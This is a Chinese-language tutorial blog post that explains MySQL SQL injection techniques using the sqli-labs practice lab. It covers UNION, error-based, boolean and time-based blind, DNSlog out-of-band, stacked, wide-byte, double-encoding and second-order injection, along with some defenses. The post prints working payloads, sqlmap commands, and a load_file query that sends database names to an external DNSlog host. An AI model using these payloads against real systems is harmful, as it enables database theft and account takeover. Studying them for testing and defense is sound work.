前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >SQL注入的几种类型和原理

SQL注入的几种类型和原理

作者头像
天钧
发布2019-10-09 15:44:38
5.1K0
发布2019-10-09 15:44:38
举报
文章被收录于专栏:渗透云笔记渗透云笔记

文章来源渗透云笔记作者团;伍默

在上一章节中,介绍了SQL注入的原理以及注入过程中的一些函数,但是具体的如何注入,常见的注入类型,没有进行介绍,这一章节我想对常见的注入类型进行一个了解,能够自己进行注入测试。

注意:以下这些类型实在slqi-labs环境(也就是MySQL)下实验,SQL是所有关系型数据库查询的语言,针对不同的数据库,SQL语法会有不同,在注入时的语句也会有所不同。

UNION 联合查询注入

原理

UNION 语法:用于将多个select语句的结果组合起来,每条select语句必须拥有相同的列、相同数量的列表达式、相同的数据类型,并且出现的次序要一致,长度不一定相同。

注意:UNION操作符选取不重复的值。如果允许重复的值,请使用 UNION ALL。

UNION注入的应用场景

  • UNION连续的几个查询的字段数一样且列的数据类型转换相同,就可以查询数据
  • 注入点有回显
  • 只有最后一个SELECT子句允许有ORDER BY;只有最后一个SELECT子句允许有LIMIT。

UNION注入的流程

代码语言:javascript
复制
graph LR
A[order by确定列数] --> B["查看返回点,选取可以显示数据的位置"]
B --> C["读库、读表、读数据(可执行任意语句)"]

为什么 order by 能确定列数?order by 的作用为根据一列或者多列的值,按照升序或者降序排列数据,当超出表的列数是发生报错。

为什么需要确定列数?UNION 内部的 SELECT 语句必须拥有相同的列(可用二分快速查找)

方法

下面用sqli-labs第一关演示。

可能有读者会疑惑,“–”可以理解,SQL注释,那么“+”有什么用,并且执行的语句中也不包含“+”号。

URL只允许使用US-ASCII字符集的可打印字符。URL中 “+” 代表URL编码的空格。

判断出列的位置后,在页面中寻找回显的位置,这里运用的SQL的一个特性。

这个特性有什么用?页面代码只返回第一条结果,UNION SELECT 获取的结果无法输出到页面,可以构造不存在的ID,使第一条语句查询结果为空,返回 UNION SELECT获取的结果。

到这里,可以确定返回页面的位置,在对应的位置写想要的SQL语句即可拿到想要的信息。

实际上返回的结果为多条,所以需要将结果连接为一条,使用 limit 或者 group_concat 的函数连接结果。

后面就很顺利的按上一章节中的SQL注入流程来读取数据。

有读者可能会迷惑,我还是解释一下,读库、读表、读字段、读数据。我这里使用了几个函数,连接字符的group_concat,指定分割符连接的 concat_ws。

报错注入

原理

接下来的文字会省略一些,因为找到对应的回显之后,整个过程类似。无论是那种类型的注入,本质上是SQL语句被执行之后寻找对应的回显。

对于报错,回显在错误中,后面的的时间注入,回显在时间的判断中,DNSlog盲注中,回显在DNSlog中。

报错注入如何发生的?

构造payload让信息通过错误提示回显出来

什么场景下有用?

  • 查询不回现内容,但会打印错误信息
  • Update、Insert等语句,会打印错误信息(前面的union 不适合 update 语句)

这种场景的源码是怎样的?

代码语言:javascript
复制
if($row)
{
    echo 'Your Login name:'.roe['username'];
}
else
{
    print_r(mysql_error());
}

当执行的SQL语句出错时返回错误信息,在错误信息中返回数据库的内容,即可实现SQL注入。

那么实现SQL注入的难点就在于构造语句,制造错误,让错误中包含数据库内容。

这里介绍3个函数引起报错,其他的函数类似。

  • floor() SELECT count(*) from information_schema.`TABLES` GROUP BY concat((select version()),floor(rand(0)*2)) group by对rand()函数操作是产生了错误
  • extractvalue() extractvalue(1,concat(0x7e,(select user()),0x7e)) xpath语法导致的错误
  • updatexml() select updatexml(1,concat(0x7e,(select version()),0x7e),1) xpath语法导致的错误

方法

Floor函数报错注入方法**

上面的语句在MySQL客户端中的执行效果,可以看到返回的错误中包含了想要的信息。

在网页中执行的效果。

把语句变换一下

后面就是查库、查表、查数据流程,注意数据太多使用concat、limit等函数链接处理。

另外这里介绍一些技巧避免重复手工。

比如limit这种只需要改变数值查询数据的语句,使用Burp suite 的intruder功能,关键参数配置字典,对返回的结果进行匹配。

extractvalue()报错注入方法

extractvalue()需要两个参数,第一参数为xml文档,第二个参数为xpath语句,直接给常见的语句。

网页中的效果

笔者在看到这个语句的时候其实是有疑惑的。

  • 为什么构造的语句为第二个参数?我理解函数执行过程中,第二个参数像正则匹配一样从第一个参数中匹配出结果。操作第二个参数能直接的触发错误
  • 为什么使用concat函数?使其中的语句字符串化,如果有读者直接将第二个参数使用查询版本的函数就会发现,报错的结果不包含“@”符号前的字符,原理大概也猜得到,“@”符号在xpath格式中有其他含义。
  • 为什么使用concat函数中第一个参数构造了一个波浪号?其实这个原因和上面一样,构造非法的参数,这样才能在错误中看到后面完整的数据。

updatexml() 函数的报错注入

updatexml() 的第一个参数为xml文档对象,第二个为xpath格式的字符串,第三个为string格式,替换查找到符合条件的数据。和名字一样,作用为更新文档中符合条件的字符串。

这条语句和上一条类似。

另外,报错信息是有长度限制的,在mysql的源码 mysql/my_error.c 中也有注释,如果得到的数据太长,可以使用substr进行字符串的切割。

小结

报错注入的原理还没有理解,先知社区上有一篇文章报错原理写很好,后续再继续研究吧。

布尔盲注

原理

布尔盲住指得是代码存在SQL注入漏洞,但是页面既不会回显数据,也不会回显错误信息,只返回 ”Right“ 和 ”Wrong”。

通过构造语句,来判断数据库信息的正确性,通过页面返回的 ”真“ 和 ”假“ 来识别判断是否正确。

大白话:这就像你不断的询问一个人,他只会说对还是错,虽然信息有限,但是也能得到想要的信息,

布尔盲住过程中常用到的一些函数

  • left()left(database(),1)>'s' ,databases() 显示数据库的名称,left(a,b)从左侧截取a的前b位
  • regexp() : select user() regexp '^r' ,正则表达式匹配
  • like()select user() like 'ro%' ,和regexp 类似
  • substr()ascii()ascii(substr((select(database()),1,1))=98
  • ord()mid() : ord(mid((select user()),1,1))=114

几个函数没什么好说,都是对字符串操作的函数,有一个地方需要关注下,有些场景单引号下会注入失败,使用ascii()等函数转为 ascii 码已适用于更多的场景。

方法

下面通过 sqli-labs 的例子测试下。

通过上面页面返回的不同可以判断语句被成功执行,猜测查询语句的结构,可以构造如下的语句。

http://wuhash.ml/Less-8/?id=1' and left((select database()),1)='a' --+

结合 “Burp Suite” 的 “Intruder” 模块爆破结果。

能否更快速的爆破?答案是可以的,添加多个字典即可。

其他函数组成的payload,这里就不详细讲了

代码语言:javascript
复制
http://wuhash.ml/Less-8/?id=1' and (select table_name from information_schema.tables where table_schema=database() limit 0,1) regexp '^em' --+
http://wuhash.ml/Less-8/?id=1' and (select table_name from information_schema.tables where table_schema=database() limit 0,1) like 'em%' --+
http://wuhash.ml/Less-8/?id=1' and ascii(substr((select database()),1,1))=115 --+

数据库库、表、字段所有名称的可用字符范围为:A-Z、a-z、0-9和下划线。

也就是 ASCII 码48到122,利用这点可快速的爆破出结果。

时间盲注

原理

时间盲注:代码存在SQL注入漏洞,然而页面即不会回显数据,也不会回显错误信息,语句执行之后不提示真假,不能通过页面来进行判断。通过构造语句,通过页面响应的时长来判断信息。

无法进行报错注入和布尔注入之后,人们想到了新的攻击点,“页面返回的时间”,笔者觉得能想到这一点人真是天才,谁提出的已无法追溯,可能在过去一段时间内,对于一些无论正确还是错误的页面返回都相同,攻击者在很长的一段时间陷入困境,某位用咖啡续命的攻击者灵光一闪,随后向他的朋友进行了讨论和验证,新的攻击方式被提出。

时间盲住的关键点在于 if()函数,通过条件语句进行判断,为真则立即执行,否则延时执行。

例如 if(left(user(),1)=‘a’,0,sleep(3));

例如if(ascii(substr(database(),1,1))>115,0,sleep(5))%23

方法

这里打开sqli-labs的第10关查看下他的源码,发现无论输入是否正确,返回几乎都是一模一样的。

有一部分代码我截图出来,Get 方法接收到的ID会被添加上双引号,所有最终的语句是这样。

时间注入里如何进行前面我说的查库、查表、查列、查数据那样的流程呢?

相信到这里也发现了,这种方式太缓慢了,能否快一点?可以的,编写自动换脚本,猜单词游戏在这里发挥到极致,每个字段都要进行猜测。

DNSlog盲注

原理

DNSlog盲住其实属于带外攻击(Out Of Band),什么是带外攻击?

很多场景下,无法看到攻击的回显,但是攻击行为确实生效了,通过服务器以外的其它方式提取数据,包括不限于 HTTP(S) 请求、DNS请求、文件系统、电子邮件等。

事实上,带外攻击不限于 DNSlog 盲注场景下,比如命令执行、SQL注入、XXE等。

先解释下DNSlog盲注的原理,借助应用的本身的功能发起DNS请求,盲注的结果作为DNS请求的一部分,DNSlog记录了DNS的请求,当然也记录了盲注的结果。

如何发起DNS请求?对域名访问,解析域名即产生DNS请求。

在关于我所了解的SQL注入中提过load_file函数,load_file在官方文档中描述为读取本地文件,然而在windows下的路径有一种命名惯例,名为UNC,本来的作用为共享文件与设备,UNC路径格式为\\host-name\share-name\object-name,”hos-name”部分可以是FQDN,这个特性使得win下load_file的UNC可触发DNS请求,当然也限制了DNSlog盲注只限于 win 下。

方法

一条典型的payload如下。

select load_file(concat('\\\\',(select database()),'.7dxfaj.ceye.io\\abc'))

其中“7dxfaj.ceye.io”是“ceye.io”分配的子域名。”ceye.io”知道创宇404团队开发的一款记录DNSlog的平台,不仅能记录DNS请求,HTTP请求也同样。(就是日常崩)。

为什么这里有四个“\”,因为转义的原因,

如果你有服务器和域名的话,推荐自己搭建平台,四叶草安全开源了一款同样的工具。

如何实战

这里以sqli-labs为例,其他场景类似,区别在于payload的构造。

在ceye.io上查看解析记录,成功看到其中含有函数执行的结果。

什么样的场景下这个很有用?相对于时间盲住来说这个能够直接查询到结果,比时间盲住更好。

但同时它的要求也很高,为什么?因为这里涉及到“load_file”操作,“secure_file_priv”的值为空才能进行UNC路径读取。

能不能爆数据?可以,利用相关的字符切割函数,FQDN是有长度限制的(RFC 1035 规定FQDN通常为255个字节)。

修改limit的值查询字段。

后续的查询数据不再演示,需要注意的是,实战中,这种查询方式仍然显得缓慢,ceye.io也提供的对应的API,最好是字节自动化脚本。

堆叠注入

关于堆叠注入,要从堆叠查询说起,我们知道每一条SQL语句以“;”结束,是否能能多条语句一起执行呢?这是可以的。

第二条语句不必像联合查询那样要求类型一致,甚至能使用 “update”语句修改数据表。

结合实践盲注中的语句,就能构造出payload。

例如;select if(substr(user(),1,1)=‘r’,sleep(3),1)%23

更多语句不进行赘述。

到这里已经介绍了一些注入方式了,有一些书籍或文章可能还会介绍get注入、post注入、数字型注入、字符型注入,在我看来,只是改变了注入点和闭合语句的方式不同。

下面介绍的是一些比较少遇到的,利用的点不同,结合了其他特性。

宽字节注入

原理

这里我先解释下什么是宽字节。

先说下ASCII,这个编码为8个比特位,1个字节,所以能映射的范围仅有256个字符。

到了汉字这里,这套编码不够用了,毕竟汉字太多了。

这其中,出现GBK、BIG5、GB2312、gb18030等编码用以适用于汉字,原来的一个字节无法容纳,需要占用更多的字节来编码,这就是所谓的宽字节。

为什么宽字节注入会发生?

一般来说,我们使用进行SQL注入测试时,都会使用'",开发者为了防止SQL注入,将传入到的符号进行转义,例如php中addslashes函数,会将字符加上转义符号。

由于转义的存在,加上mysql的特性是的结果和正常的相同,甚至都不能判断含有注入点,sqlmap进行测试页无法进行注入。

下面以sqli-labs的第36关为例。

这里我开启日志功能,查看真正执行的语句,你也可以在网页中打印语句。

代码语言:javascript
复制
SHOW VARIABLES LIKE 'general%';
#查询日志功能是否被开启,general_log 默认关闭OFF
#general_log_file:日志文件保存位置
set GLOBAL general_log='ON';
#更改为'ON',开启日志记录。
tail /var/lib/mysql/785e6e87385b.log
#文件my有可能不一样,具体参考查出来的文件名

执行的语句为SELECT * FROM users WHERE id='1\'' LIMIT 0,1,不知道有没有小伙伴和我一样疑惑这个语句为什么能执行成功,笔者迷惑了一上午,在某位大大的帮助下终于理解了,感谢大大。笔者进行了一系列测试。

我们都知道”\“是转义符,也就是说最终where的是 id “1‘”(我特意用双引号表示),表中应该没有“1’”这个ID,结果应该为空,但实际上这条查询的结果和 SELECT * FROM users WHERE id='1' LIMIT 0,1相同。

这和mysql中的隐式类型转换有关,官方文档在末尾。

简单来说,mysql会自动推导数据类型,我们看一个列子。

笔者猜测由于类型转换失败,不进行匹配,所以仍然能查出结果。

回到宽字节的主题上,浏览器会将URL中'的编码为%27,经过函数添加的转义符,变成了%5c%27(\‘),如果在 “‘” 前面添加%df,编码后的数据为%df%5c%27

如果查询的数据库是GBK编码时,会被认为是一个汉字,这里是”運“,也就是说最终语句变成了SELECT * FROM users WHERE id='1運' LIMIT 0,1(上面网页中为编码为UTF-8,无法正常显示)。添加的转义符号被“吃”掉了,转义符失去了原有的作用。

知道了这一点,后续的注入就很简单了。

order by 确定字段列数。

查看回显。

后面的查库、查表、查列、查数据就很顺利了。

能不能sqlmap直接一把梭?可以,不过需要更改下测试语句。

另外,sqlmap也提供了tamper来解决这种情况。

sqlmap -u "http://wuhash.ml/Less-36/?id=1" -b --tamper=unmagicquotes.py --batch --thread=10

如何发现宽字节注入

  • 黑盒测试:在可能的注入点键入%df,之后进行注入测试
  • 白盒测试
    1. 查看MySQL编码是否为GBK
    2. 是否使用preg_replace把单引号替换为\‘
    3. 是否使用addslashes进行转义
    4. 是否使用mysql_real_escape_string进行转义

后续的一些问题

为什么输入%81就可以进行宽字节注入了?

GBK编码是对GB2312编码的扩展,采用双字节编码方案,其编码范围是 8140-FEFE,上面添加 %81 是为了让编码的结果在GBK编码范围中,将其识别为一个字符,从而“吃掉“转义符。

编码问题是如何发生的?

注入的过程设计到多个编码,包括php源码文件中指定SQL语句的编码,数据库的编码,页面本身的编码。

页面的编码有什么影响?添加的“%df”在URL中不会被再次编码,SQL语句指定编码我GBK,addslashes对单引号进行添加转义符号,添加的%df和转义发被解释为一个字符,同事页面返回的结果未正确显示,笔者的默认编码是Unicode(可声明编码),更换编码后可正确显示。

后续是P牛博客的思路,链接放在末尾。

如何防御?

php文档提供了mysql_real_escape_string函数,需要在声明数据库使用的编码,否则宽字节注入仍然会发生。

指定连接的形式是二进制即可,所有数据以二进制形式传递,就能有效避免宽字节注入。

SET character_set_connection=gbk, character_set_results=gbk,character_set_client=binary

只有GBK编码会发生吗?

实际上其他语言的编码也可以,只要能够“吃掉”转义符的编码。

还有其他姿势吗

在大多数的CMS中采用icnva函数,将UTF-8编码转换为GBK编码。

但实际上仍然会发生注入。

P牛提到“錦”的UTF-8编码为e9 8c a6,GBK编码为E55C

转义符和单引号的编码为5c27,合起来是E55C 5c27

两个5c被解释为转义符转义转义符本身,仅作为一个字符解释,所以注入仍然会发生。

二次编码注入

原理

第一个问题,为什么要进行URL编码?

原始的格式在WEB应用中不适合传输,一些符号回与HTTP请求的参数冲突。比如HTTP的GET方法,格式是这样http://a.com/index.php?user=admin&passwd=admin,如果说有一个 user 为 “useer=”(注意等号),组合成这样http://a.com/index.php?user=admin=&passwd=admin,这样的语句就会产生问题,导致WEB应用无法正常运行。

关于字符的问题,推荐看这个。

实际上这个问题扩张开来,为什么要进行编码?一定是因为原始格式不适合传输才进行的编码。

另外,在一般情况下,WEB应用传递给PHP等应用参数时,PHP会自动对参数进行一次URLdecode。

同样 php 也提供了函数进行调用,在某些CMS中,进行了转义+二次 URLdecode,造成。

我们来看一段php页面的代码。

可以看到使用GET方法传递 ID,ID传入之后经mysql_real_escape_string转义,然后进行URLdecode,问题就出出现在这里。

注入方法

下面以上面的源码为例测试。

可以看到输入的单引号被转义。如果下面构造的特殊的参数,页面就会变成这样。

解释一下,为什么这样?“%25”被自动解码为百分号,输入的参数中为含有单引号,所以未被转义。

在二次解码之后,“%27”被解释为单引号,熟悉的报错又回来了。

在sqlmap中和宽字节同理

sqlmap -u "http://wuhash.ml/Less-1/doublecode.php?id=%2527" -b --batch --thread=10

二次注入

原理

二次注入的重点在于添加进数据库的恶意数据被二次调用。

这里两个关键。第一:添加进的数据库使我们构造的恶意数据(需要考虑到转义等炒作),第二:恶意数据被二次调用触发注入。

方法

这里以sqli-labs 的 Lless24 进行二次注入练习。

sqli-labs的24关是一个登录界面,下面有创建用户和重置密码的链接,我们打开源码进行查看。

创建用户的页面提交的表单被发送”login_create.php”文件

“login_create.php”取到了3个值,分别是“username”、“pass”、“re_pass”,并且使用了mysql_escape_string进行了特殊字符转义。一开始进行了用户名是否存在的查询判断,如果不存在,对比两次输入的密码是否一致,如果一致,进行了一个insert操作,将用户名和密码插入user表中。

当前的user表是这样的。

创建一个用户名为“admin’#”的用户,密码任意并登陆。

登陆之后含有Reset按钮,查看源码,参数被发送到 ”pass_change.php”文件。查看“pass_change.php”的源码,接收三个参数 “cur_pass”、“pass”、”re_pass“,同样使用了mysql_escape_string进行了转义。如果更新的两个密码一致,执行一条update的 sql操作。

现在的数据库是这样。

对“admin’#“进行密码重置,对比着查看数据库。

注意图中的“admin”的“password”值,不是笔者贴图错误,而是确实如此。打开mysql的查询日志查看执行的语句。

经过了转义,'#完整的插入数据库之后,进行二次调用时,也被完整的调用出来。

“#”在 sql 语句中表示注释,后面的语句不会被执行,整条语句相当于执行UPDATE users SET PASSWORD='1314' where username='admin',所以“admin”的密码被更改。

后续的笔记就不细说了,可以看出,利用应用本身的功能特性讲恶意数据插入在数据表中,在其他功能点被调用引发注入。在很多场景下,可能利用并不是这么利用的,课程中演示了里一个页面,列举了用户名,注册一个名为“1’ union select 1,user(),3#”的用户,在二次调用时,成功是用户名中显示为数据库用户。

最后说一下这里常见的绕过点,尝试编码绕过(例如URL编码)、HEX绕过、运用mysql自身的一些特性绕过……。

总结

受限于篇幅,这一篇某些地方没有详细的记录,笔记大部分内容都来自网易云与 i 春秋合作的课程,感谢讲师@ADO。老实说,这篇笔记鸽了3个星期左右,有几个原因。

  • 漏洞点都要自己进行验证,比较缓慢
  • 最近工作上有点忙,下班无心学习
  • 我在摸鱼……。
  • 笔者学习是比较容易偏离方向,比如DNSlog盲注时抓包发现请求有点不合常理,又跑去找资料看……

参考资料

[红日安全]Web安全Day1 - SQL注入实战攻防

Web安全工程师(进阶)- SQL注入篇

一篇文章带你深入理解 SQL 盲注

MYSQL报错注入的一点总结

SQL Injection

SQL Injection Wiki

SQL注入WIKI

【技术分享】MySQL Out-of-Band 攻击

OOB(out of band)分析系列之DNS渗漏

Dnslog在SQL注入中的实战

Hr-Papers|宽字节注入深度讲解

12.2 Type Conversion in Expression Evaluation

谈谈MySQL隐式类型转换

浅析白盒审计中的字符编码及SQL注入

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-09-29,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 渗透云笔记 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • UNION 联合查询注入
    • 原理
      • 方法
      • 报错注入
        • 原理
          • 方法
          • 布尔盲注
            • 原理
              • 方法
              • 时间盲注
                • 原理
                  • 方法
                  • DNSlog盲注
                    • 原理
                      • 方法
                      • 堆叠注入
                      • 宽字节注入
                        • 原理
                          • 如何发现宽字节注入
                            • 后续的一些问题
                            • 二次编码注入
                              • 原理
                                • 注入方法
                                • 二次注入
                                  • 原理
                                    • 方法
                                    • 总结
                                    • 参考资料
                                    相关产品与服务
                                    云数据库 SQL Server
                                    腾讯云数据库 SQL Server (TencentDB for SQL Server)是业界最常用的商用数据库之一,对基于 Windows 架构的应用程序具有完美的支持。TencentDB for SQL Server 拥有微软正版授权,可持续为用户提供最新的功能,避免未授权使用软件的风险。具有即开即用、稳定可靠、安全运行、弹性扩缩等特点。
                                    领券
                                    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档